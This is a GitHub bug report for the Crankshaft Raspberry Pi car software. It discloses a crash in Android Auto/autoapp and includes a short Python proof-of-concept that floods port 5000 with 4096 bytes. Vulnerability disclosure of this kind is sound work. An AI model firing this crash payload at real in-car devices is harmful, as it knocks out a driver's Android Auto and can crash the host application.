Skip to content

Crankshaft will crash if you send an invalid data. #614

@dhje0ng

Description

@dhje0ng

If you need support: Please post on https://www.reddit.com/r/crankshaft/ as this is a bug tracker, not a support forum.

Note: Reporting issues not based on official published builds will be closed without any comment.

  1. Write and boot Crankshaft image on Raspberry PI4. Images use the latest version released on Github.
  2. To run Android Auto, connect your smartphone and Raspberry PI4 with a USB cable and run Android Auto!
  3. Executes POC code when Android Auto is running.
  4. Run the attached POC code. It is always reproducible. (However, the POC code has the network address of the tester, so you need to modify the IP address in the 6th line of the code!)
  • Proof Of Concept Code
#!/usr/bin/python3

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.118', 5000))
s.send(b'A'*4096)
r = s.recv(1024)
print(r)
print('exploit!!')
s.close()

MicrosoftTeams-image (1)

My guess is that this is what autoapp is crashing, but I haven't analyzed detailed logs.
Instead, I'm attaching the debug logs I dumped in developer mode.

This crashes the Android Auto function and makes it impossible to use it normally and sometimes crashes the autoapp in OpenCarOS (Crankshaft).

Thank you.
debug.zip

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions